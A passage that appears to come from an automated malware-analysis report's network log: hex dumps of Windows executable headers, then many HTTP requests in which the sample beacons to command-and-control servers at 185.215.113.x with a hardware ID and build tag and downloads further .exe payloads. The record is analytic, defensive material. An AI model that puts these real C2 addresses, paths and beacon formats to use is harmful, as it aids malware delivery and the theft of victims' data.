00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:59:17 GMTContent-Type: application/octet-streamContent-Length: 1931264Last-Modified: Thu, 24 Oct 2024 02:50:35 GMTConnection: keep-aliveETag: "6719b5fb-1d7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4c 00 00 04 00 00 bd e9 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 8d 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 8c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6d 64 71 6a 78 6f 00 60 1a 00 00 30 32 00 00 5e 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 76 61 66 64 6a 71 78 00 10 00 00 00 90 4c 00 00 04 00 00 00 52 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4c 00 00 22 00 00 00 56 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:59:22 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Thu, 24 Oct 2024 02:50:28 GMTConnection: keep-aliveETag: "6719b5f4-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 6c 72 78 6d 61 72 00 50 1a 00 00 60 50 00 00 44 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 77 64 7a 74 76 6e 00 10 00 00 00 b0 6a 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:59:25 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="build"doma------EBFBKKJECAKEHJJJDBAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001102001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001103001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="build"doma------KEHJKJDGCGDAKFHIDBGC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001104001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="build"doma------JDAFBKECAKFCAAAKJDAK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001105001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build"doma------HJJEHJJKJEGHJJKEBFBG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 2d 2d 0d 0a Data Ascii: ------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; 